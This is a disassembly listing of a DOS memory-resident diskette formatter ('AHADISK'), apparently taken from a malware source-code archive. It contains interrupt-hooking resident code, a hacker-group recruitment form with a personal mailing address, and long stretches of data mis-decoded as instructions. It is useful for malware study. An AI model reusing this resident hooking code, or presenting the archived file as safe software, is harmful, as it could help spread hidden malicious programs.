mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
4043 lines
86 KiB
NASM
4043 lines
86 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ AHADISK ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 29-Feb-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 0
|
|
data_2e equ 1
|
|
data_3e equ 3
|
|
data_4e equ 94h
|
|
keybd_flags_1_ equ 417h
|
|
dsk_recal_stat_ equ 43Eh
|
|
dsk_motor_stat_ equ 43Fh
|
|
dsk_motor_tmr_ equ 440h
|
|
video_mode_ equ 449h
|
|
video_port_ equ 463h
|
|
timer_low_ equ 46Ch
|
|
hdsk0_media_st_ equ 490h
|
|
data_16e equ 1000h ;*
|
|
data_17e equ 0 ;*
|
|
data_18e equ 3 ;*
|
|
data_234e equ 7C3Eh ;*
|
|
|
|
;-------------------------------------------------------------- seg_a ----
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a , ds:seg_a
|
|
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;
|
|
; Program Entry Point
|
|
;
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
|
|
ahadisk proc far
|
|
|
|
start:
|
|
jmp loc_262
|
|
data_24 db 0, 0
|
|
data_25 dw 0
|
|
data_26 dw 0
|
|
data_27 dw 0
|
|
data_28 db 0
|
|
data_29 db 0
|
|
data_30 db 0
|
|
db 0
|
|
data_31 dw 1
|
|
data_32 db 19h
|
|
db 0
|
|
data_33 db ' ', 0
|
|
db 27h, 0
|
|
db '.', 0
|
|
db ' 360 K', 0
|
|
db ' 1.2 M', 0
|
|
db ' 720 K', 0
|
|
db '1.44 M', 0
|
|
data_37 db 0FFh
|
|
db 11h,0FFh
|
|
data_38 db 1Dh
|
|
db 0FFh, 11h,0FFh, 23h
|
|
data_39 db 1
|
|
db 0, 2, 0
|
|
data_40 db 23h
|
|
db 00h, 3Bh, 00h, 23h, 00h, 47h
|
|
db 00h
|
|
data_41 db 2
|
|
db 1, 2
|
|
data_42 db 1
|
|
data_43 db 0DFh
|
|
db 0DFh,0DFh,0AFh
|
|
data_44 db 9
|
|
db 0Fh, 09h, 12h
|
|
data_45 db 2Ah
|
|
db 1Bh, 2Ah, 1Ah
|
|
data_46 db 50h
|
|
db 54h, 50h, 6Ch
|
|
data_47 db 0FDh
|
|
db 0F9h,0F9h,0F0h
|
|
data_48 db 70h
|
|
db 0
|
|
db 0E0h, 00h
|
|
|
|
locloop_2:
|
|
jo loc_3 ; Jump if overflow=1
|
|
loc_3:
|
|
loopnz $+2 ; Loop if zf=0, cx>0
|
|
|
|
rol byte ptr [bp+si],1 ; Rotate
|
|
db 60h, 09h,0A0h, 05h, 40h, 0Bh
|
|
data_50 db 2
|
|
db 0, 7, 0, 3, 0, 9
|
|
db 0
|
|
data_51 db 62h
|
|
db 01h, 43h, 09h,0C9h, 02h, 1Fh
|
|
db 0Bh
|
|
data_52 db 6
|
|
db 1, 4, 3
|
|
data_53 db 0
|
|
data_54 dw 0
|
|
data_55 db 0
|
|
data_56 db 0
|
|
data_57 db 2Ah
|
|
data_58 db 50h
|
|
data_59 db 0
|
|
data_60 db 0, 0
|
|
data_61 dw 0
|
|
data_62 db 0
|
|
data_63 db 0
|
|
data_64 db 0
|
|
data_65 db 0
|
|
data_66 db 0
|
|
data_67 dw 0
|
|
data_68 dw 0
|
|
data_69 db 0
|
|
data_70 db 0
|
|
data_71 db 0
|
|
data_72 db 0
|
|
data_73 db 0
|
|
data_74 db 0
|
|
data_75 db 0
|
|
data_76 db 0
|
|
data_77 db 0
|
|
data_78 db 0
|
|
data_79 db 0
|
|
data_80 db 0
|
|
data_81 dw 130Dh
|
|
data_82 dw 0
|
|
data_84 dw 0
|
|
data_85 dw 0
|
|
data_86 dw 0
|
|
data_87 dw 0
|
|
data_88 dw 0
|
|
data_89 dw 0
|
|
data_90 dw 0
|
|
data_91 dw 0
|
|
data_92 dw 0
|
|
data_93 dw 0
|
|
data_94 db 0
|
|
data_95 db 0
|
|
data_96 db 0Bh
|
|
data_97 db 0
|
|
data_98 db 0, 0
|
|
data_99 db 0
|
|
data_100 dw 0
|
|
data_101 db 0
|
|
data_102 db 0
|
|
data_103 db 0
|
|
data_104 db 0
|
|
data_105 dw 0
|
|
data_106 dw 0
|
|
data_107 db 0
|
|
data_108 db 0
|
|
data_109 db 0
|
|
data_110 db 6
|
|
data_111 db 0A0h
|
|
data_112 db 0
|
|
data_113 db 0
|
|
db 11 dup (0)
|
|
data_115 db 0
|
|
db 9 dup (0)
|
|
|
|
ahadisk endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+di],al
|
|
add [bx],cl
|
|
add [bx+di],al
|
|
add [bp+si],cl
|
|
add [si+0],ah
|
|
;* call sub_5 ;*
|
|
db 0E8h, 03h, 10h
|
|
daa ; Decimal adjust
|
|
mov al,byte ptr ds:[4086h]
|
|
inc dx
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
ja $+7 ; Jump if above
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
pop dx
|
|
xor ax,355Ah
|
|
pop dx
|
|
xor ax,577h
|
|
add [bx+si],al
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_3:
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
pop dx
|
|
xor ax,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
pop dx
|
|
xor ax,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
pop dx
|
|
xor ax,577h
|
|
pop dx
|
|
xor ax,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add bh,dh
|
|
;* pop cs ; Dangerous 8088 only
|
|
db 0Fh
|
|
;* jo loc_4 ;*Jump if overflow=1
|
|
db 70h,0FFh
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [di+6Eh],al
|
|
jz loc_5 ; Jump if zero
|
|
jc $+22h ; Jump if carry Set
|
|
inc sp
|
|
jc $+6Bh ; Jump if carry Set
|
|
jbe loc_6 ; Jump if below or =
|
|
and [si+6Fh],dl
|
|
and [bp+si+65h],al
|
|
and [bp+6Fh],al
|
|
jc $+6Fh ; Jump if carry Set
|
|
db 61h, 74h, 20h, 3Fh, 20h, 5Bh
|
|
db 'A'
|
|
db 5Dh, 00h
|
|
db 'Enter Drive Type ? (0 - 360K, 1 '
|
|
db '- 1.2M) [0]'
|
|
db 0
|
|
db 'Enter Drive Type ? (0 - 720K,'
|
|
loc_5:
|
|
and [bx+di],dh
|
|
and [di],ch
|
|
and [bx+di],dh
|
|
loc_6:
|
|
db '.44M) [0]'
|
|
db 0
|
|
db 'Number Of Diskette To Be Format '
|
|
db '(1-11) ['
|
|
data_182 dw 3131h
|
|
db 5Dh, 20h, 3Fh, 20h, 00h
|
|
db 'Insert New Diskette Into Drive '
|
|
data_183 db 41h
|
|
db 0
|
|
db 'Press ENTER To Start Format Or E'
|
|
db 'SC To Abort'
|
|
db 0
|
|
db 'Can', 27h, 't Release From Memor'
|
|
db 'y, Interrupt Vector Address Been'
|
|
db ' Changed'
|
|
db 0
|
|
db 'Press Any Key To Return To Main '
|
|
db 'Menu'
|
|
db 0
|
|
db 'No Format Report !'
|
|
db 00h, 00h, 00h, 00h, 00h, 2Dh
|
|
db 00h, 00h, 00h, 00h, 00h
|
|
db 43h, 70h
|
|
data_184 db 'HpApNpGpEpEpRpRpOpRp!pFpIpNpIpSp'
|
|
db 'Hp p p', 0
|
|
db 'p', 0
|
|
db 'p p pDisk Not Ready !', 0
|
|
db 'Disk Write Protected !', 0
|
|
db 'Seek Error !', 0
|
|
db 'Abort or Retry ?', 0
|
|
db 'Track 0 Bad, Diskette Unusable !'
|
|
db 0
|
|
db 'Program Interrupted !', 0
|
|
db 'Ready Printer, Press ENTER When '
|
|
db 'Ready !', 0
|
|
db 'Printing ....', 0
|
|
db 'I/O Error !', 0
|
|
db 'Printer Not Ready !', 0
|
|
db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 13h, 20h,0ADh
|
|
db 'aHa/nBa!Mem Resident Format '
|
|
db 1, 3
|
|
db ' Version 6.9'
|
|
db 01h, 10h, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0CCh, 01h
|
|
db 4Eh,0CDh,0B9h,0BAh, 01h, 4Eh
|
|
db 20h
|
|
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
|
|
db 0BAh, 01h
|
|
db 4Eh, 20h
|
|
db 0BAh,0C8h, 01h, 4Eh,0CDh,0BCh
|
|
db 01h, 87h,0D0h, 1Fh,0C9h, 01h
|
|
db 4Eh,0CDh,0BBh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 13h, 20h
|
|
db 0ADh
|
|
db 'aHa/nBa!Mem Resident Format '
|
|
db 1, 3
|
|
db ' Version 6.9'
|
|
db 01h, 10h, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0CCh, 01h
|
|
db 4Eh,0CDh,0B9h,0BAh, 01h, 1Ch
|
|
db 20h
|
|
db 0DAh, 01h, 15h,0C4h,0BFh, 01h
|
|
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
|
|
db 20h,0B3h
|
|
db ' Print Out '
|
|
db 0ADh
|
|
db 'aHa/nBa! '
|
|
db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh
|
|
db 01h, 1Ch, 20h,0C0h, 01h, 15h
|
|
db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh
|
|
db 0BAh, 01h, 1Ch, 20h,0DAh, 01h
|
|
db 15h,0C4h
|
|
db 0BFh, 01h, 1Bh, 20h,0BAh,0BAh
|
|
db 01h, 1Ch, 20h,0B3h, 01h, 04h
|
|
db ' Start format'
|
|
db 01h, 05h, 20h,0B3h, 01h, 1Bh
|
|
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
|
|
db 0C0h, 01h, 15h,0C4h,0D9h, 01h
|
|
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
|
|
db 20h,0DAh, 01h, 15h,0C4h,0BFh
|
|
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
|
|
db 1Ch, 20h,0B3h, 01h, 04h
|
|
db ' Format report'
|
|
db 01h, 04h, 20h,0B3h, 01h, 1Bh
|
|
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
|
|
db 0C0h, 01h, 15h,0C4h,0D9h, 01h
|
|
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
|
|
db 20h,0DAh, 01h, 15h,0C4h,0BFh
|
|
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
|
|
db 1Ch, 20h,0B3h
|
|
db ' Track display o'
|
|
data_187 dw 206Eh
|
|
db 20h, 20h,0B3h, 01h, 1Bh, 20h
|
|
db 0BAh,0BAh, 01h, 1Ch, 20h,0C0h
|
|
db 01h, 15h,0C4h,0D9h, 01h, 1Bh
|
|
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
|
|
db 0DAh, 01h, 15h,0C4h,0BFh, 01h
|
|
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
|
|
db 20h,0B3h
|
|
db ' Release from memory '
|
|
db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh
|
|
db 01h, 1Ch, 20h,0C0h, 01h, 15h
|
|
db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh
|
|
db 0BAh, 01h, 1Ch, 20h,0DAh, 01h
|
|
db 15h,0C4h,0BFh, 01h, 1Bh, 20h
|
|
db 0BAh,0BAh, 01h, 1Ch, 20h,0B3h
|
|
db 01h, 09h, 20h, 45h, 78h, 69h
|
|
db 74h, 01h, 08h, 20h,0B3h, 01h
|
|
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
|
|
db 20h,0C0h, 01h, 15h,0C4h,0D9h
|
|
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
|
|
db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh
|
|
db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 13h, 20h,0ADh
|
|
db 'aHa/nBa!Mem Resident Format '
|
|
db 1, 3
|
|
db ' Version 6.9'
|
|
db 01h, 10h, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0CCh, 01h
|
|
db 4Eh
|
|
db 0CDh,0B9h,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
|
|
db 0BAh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 4Eh, 20h,0BAh,0CCh, 01h
|
|
db 17h
|
|
db 0CDh,0D1h, 01h, 0Fh,0CDh,0D1h
|
|
db 01h, 10h,0CDh,0D1h, 01h, 15h
|
|
db 0CDh,0B9h,0BAh, 01h
|
|
db 3
|
|
db ' Drive To Be Format '
|
|
db 0B3h, 01h, 03h
|
|
db ' Drive Type '
|
|
db 0B3h
|
|
db ' Diskette No. '
|
|
db 0B3h
|
|
db ' Total Diskette(s) '
|
|
db 0BAh,0C7h, 01h, 17h,0C4h,0C5h
|
|
db 01h, 0Fh,0C4h,0C5h, 01h, 10h
|
|
db 0C4h,0C5h, 01h, 15h,0C4h,0B6h
|
|
db 0BAh, 01h, 0Bh
|
|
db 20h
|
|
data_188 db 41h
|
|
db 01h, 0Bh, 20h,0B3h, 01h, 05h
|
|
db 20h
|
|
data_189 db 31h
|
|
db 2Eh, 34h, 34h, 20h, 4Dh, 01h
|
|
db 04h, 20h,0B3h, 01h, 06h
|
|
db 20h
|
|
data_190 dw 3120h
|
|
db 01h, 08h, 20h,0B3h, 01h
|
|
db 09h, 20h
|
|
data_191 dw 3131h
|
|
db 1
|
|
db 0Ah, 20h,0BAh,0C8h, 01h
|
|
db 17h,0CDh,0CFh, 01h, 0Fh,0CDh
|
|
db 0CFh, 01h, 10h,0CDh,0CFh, 01h
|
|
db 15h,0CDh,0BCh, 01h, 87h,0D0h
|
|
db 1Fh,0C9h, 01h, 4Eh,0CDh,0BBh
|
|
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
|
|
db 01h, 13h
|
|
db ' Background Diskette Formatter S'
|
|
db 'tatus Report'
|
|
db 01h, 10h, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0CCh, 01h, 0Ch,0CDh
|
|
db 0D1h
|
|
db 01h, 15h,0CDh,0D1h, 01h, 11h
|
|
db 0CDh
|
|
db 0D1h, 01h, 19h,0CDh,0B9h,0BAh
|
|
db ' Diskette '
|
|
db 0B3h, 01h, 07h, 20h, 56h, 6Fh
|
|
db 6Ch, 75h, 6Dh, 65h, 01h, 08h
|
|
db 20h,0B3h, 01h, 05h, 20h, 4Eh
|
|
db 6Fh, 2Eh, 20h, 4Fh, 66h, 01h
|
|
db 06h, 20h,0B3h, 01h, 04h
|
|
db ' Total Disk Space'
|
|
db 01h, 05h, 20h,0BAh,0BAh, 01h
|
|
db 05h, 20h, 4Eh, 6Fh, 2Eh, 01h
|
|
db 04h, 20h,0B3h, 01h, 04h
|
|
db ' Serial Number'
|
|
db 01h, 04h, 20h,0B3h
|
|
db ' Bad Cluster(s) '
|
|
db 0B3h, 01h
|
|
db 8, ' In Bytes'
|
|
db 01h, 09h, 20h,0BAh,0C7h, 01h
|
|
db 0Ch,0C4h,0C5h, 01h, 15h,0C4h
|
|
db 0C5h, 01h, 11h,0C4h,0C5h, 01h
|
|
db 19h,0C4h,0B6h
|
|
db 0BAh, 01h, 0Ch, 20h
|
|
db 0B3h, 01h, 15h
|
|
db 20h,0B3h, 01h, 11h, 20h,0B3h
|
|
db 01h, 19h, 20h,0BAh,0BAh, 01h
|
|
db 0Ch, 20h,0B3h, 01h, 15h, 20h
|
|
db 0B3h, 01h, 11h, 20h,0B3h, 01h
|
|
db 19h, 20h,0BAh,0BAh, 01h, 0Ch
|
|
db 20h,0B3h, 01h, 15h, 20h,0B3h
|
|
db 01h, 11h, 20h,0B3h, 01h, 19h
|
|
db 20h,0BAh,0BAh, 01h, 0Ch, 20h
|
|
db 0B3h, 01h, 15h, 20h,0B3h, 01h
|
|
db 11h
|
|
db 20h
|
|
db 0B3h, 01h, 19h, 20h,0BAh,0BAh
|
|
db 01h, 0Ch, 20h,0B3h, 01h, 15h
|
|
db 20h,0B3h, 01h, 11h, 20h,0B3h
|
|
db 01h, 19h, 20h,0BAh,0BAh, 01h
|
|
db 0Ch, 20h,0B3h, 01h, 15h, 20h
|
|
db 0B3h, 01h, 11h, 20h,0B3h, 01h
|
|
db 19h, 20h,0BAh,0BAh, 01h, 0Ch
|
|
db 20h,0B3h, 01h, 15h, 20h,0B3h
|
|
db 01h, 11h, 20h,0B3h, 01h, 19h
|
|
db 20h,0BAh,0BAh, 01h, 0Ch, 20h
|
|
db 0B3h, 01h, 15h, 20h,0B3h, 01h
|
|
db 11h, 20h,0B3h, 01h, 19h, 20h
|
|
db 0BAh,0BAh, 01h, 0Ch, 20h,0B3h
|
|
db 01h, 15h, 20h,0B3h, 01h, 11h
|
|
db 20h,0B3h, 01h, 19h, 20h,0BAh
|
|
db 0BAh, 01h, 0Ch, 20h,0B3h, 01h
|
|
db 15h, 20h,0B3h, 01h, 11h, 20h
|
|
db 0B3h, 01h, 19h, 20h,0BAh,0BAh
|
|
db 01h, 0Ch, 20h,0B3h, 01h, 15h
|
|
db 20h,0B3h, 01h, 11h, 20h,0B3h
|
|
db 01h, 19h, 20h,0BAh,0CCh, 01h
|
|
db 0Ch,0CDh,0CFh, 01h, 15h,0CDh
|
|
db 0CFh, 01h, 11h,0CDh,0CFh, 01h
|
|
db 19h,0CDh,0B9h,0BAh, 01h, 4Eh
|
|
db 20h,0BAh,0BAh, 01h, 15h
|
|
db 20h, 50h
|
|
db 'ress Any Key To Return To Main M'
|
|
db 'enu'
|
|
db 01h, 15h, 20h,0BAh,0BAh, 01h
|
|
db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
|
|
db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh
|
|
db 0Dh, 0Ah, 0Dh, 0Ah, 20h
|
|
db 9 dup (20h)
|
|
db 0ADh
|
|
db 'aHa/nBa! Application Form! '
|
|
db ' ', 0Dh
|
|
db 0Ah, 'What file is this?', 0Dh, 0Ah
|
|
db ' Where Did '
|
|
db 'you get it from?', 0Dh, 0Ah, ' '
|
|
db ' Handle:', 0Dh, 0Ah
|
|
db ' Phone #:', 0Dh, 0Ah, ' '
|
|
db ' ', 0Dh, 0Ah, ' '
|
|
db ' List 3 boards whe'
|
|
db 're you could be reached at: ', 0Dh
|
|
db 0Ah, 0Dh, 0Ah, ' '
|
|
db ' Can y'
|
|
db 'ou HaCK?', 0Dh, 0Ah, ' '
|
|
db ' List a fe'
|
|
db 'w thigs you', 27h, 've hacked:', 0Dh
|
|
db 0Ah, 0Dh, 0Ah, ' '
|
|
db ' Ok! Send MoneY, pft,'
|
|
db ' and this letter to:', 0Dh, 0Ah, ' '
|
|
db ' Psycho', 0Dh
|
|
db 0Ah, ' 1340 W Irving', 0Dh
|
|
db 0Ah, ' #229', 0Dh, 0Ah, ' '
|
|
db ' Chicago, IL', 0Dh, 0Ah, ' 60'
|
|
db '613', 0Dh, 0Ah, ' '
|
|
db ' Ok! No'
|
|
db 'w, write about yourself: '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' '
|
|
db ' ', 0Ch, 0
|
|
db '.'
|
|
db 80h, 3Eh, 2Dh, 02h, 00h, 74h
|
|
db 08h, 2Eh,0FEh, 0Eh, 2Dh, 02h
|
|
db 0EBh, 09h, 90h
|
|
db 2Eh,0F6h, 06h, 2Eh, 02h, 80h
|
|
db 75h, 05h
|
|
loc_32:
|
|
jmp dword ptr cs:[195h]
|
|
loc_33:
|
|
mov word ptr cs:[1EAh],ax
|
|
mov al,0Bh
|
|
out 20h,al ; port 20h, 8259-1 int command
|
|
jmp short $+2 ; delay for I/O
|
|
in al,20h ; port 20h, 8259-1 int IRR/ISR
|
|
and al,0FEh
|
|
mov ax,word ptr cs:[1EAh]
|
|
jz loc_34 ; Jump if zero
|
|
jmp short loc_32
|
|
loc_34:
|
|
mov word ptr cs:[1FCh],ax
|
|
mov word ptr cs:[1FEh],bx
|
|
mov word ptr cs:[208h],sp
|
|
mov word ptr cs:[20Eh],ss
|
|
mov word ptr cs:[20Ch],ds
|
|
mov word ptr cs:[210h],es
|
|
mov word ptr cs:[20Ah],bp
|
|
mov word ptr cs:[204h],si
|
|
mov word ptr cs:[206h],di
|
|
mov word ptr cs:[200h],cx
|
|
mov word ptr cs:[202h],dx
|
|
mov ds,word ptr cs:[1E2h]
|
|
mov ss,word ptr ds:[1DAh]
|
|
mov sp,word ptr ds:[1DCh]
|
|
mov es,word ptr ds:[1E4h]
|
|
mov bp,word ptr ds:[1E0h]
|
|
mov si,word ptr ds:[1D8h]
|
|
mov di,word ptr ds:[1DEh]
|
|
mov ax,word ptr ds:[1D0h]
|
|
mov bx,word ptr ds:[1D2h]
|
|
mov cx,word ptr ds:[1D4h]
|
|
mov dx,word ptr ds:[1D6h]
|
|
jmp dword ptr cs:[195h]
|
|
mov word ptr cs:[1F8h],ds
|
|
mov word ptr cs:[1F6h],ax
|
|
mov word ptr cs:[1FAh],bx
|
|
mov ds,cs:data_25
|
|
mov bx,keybd_flags_1_
|
|
mov ah,[bx]
|
|
and ah,0Fh
|
|
cmp ah,0Bh
|
|
jne loc_36 ; Jump if not equal
|
|
test byte ptr cs:[22Eh],0C0h
|
|
jz loc_35 ; Jump if zero
|
|
test byte ptr cs:[22Eh],40h ; '@'
|
|
jz loc_36 ; Jump if zero
|
|
or byte ptr cs:[22Eh],20h ; ' '
|
|
jmp short loc_36
|
|
db 90h
|
|
loc_35:
|
|
or byte ptr cs:[22Eh],80h
|
|
loc_36:
|
|
mov ax,word ptr cs:[1F6h]
|
|
mov ds,word ptr cs:[1F8h]
|
|
mov bx,word ptr cs:[1FAh]
|
|
jmp dword ptr cs:[199h]
|
|
db 2Eh, 80h, 3Eh, 2Fh, 02h, 00h
|
|
db 74h, 0Dh, 2Eh,0C6h, 06h, 2Fh
|
|
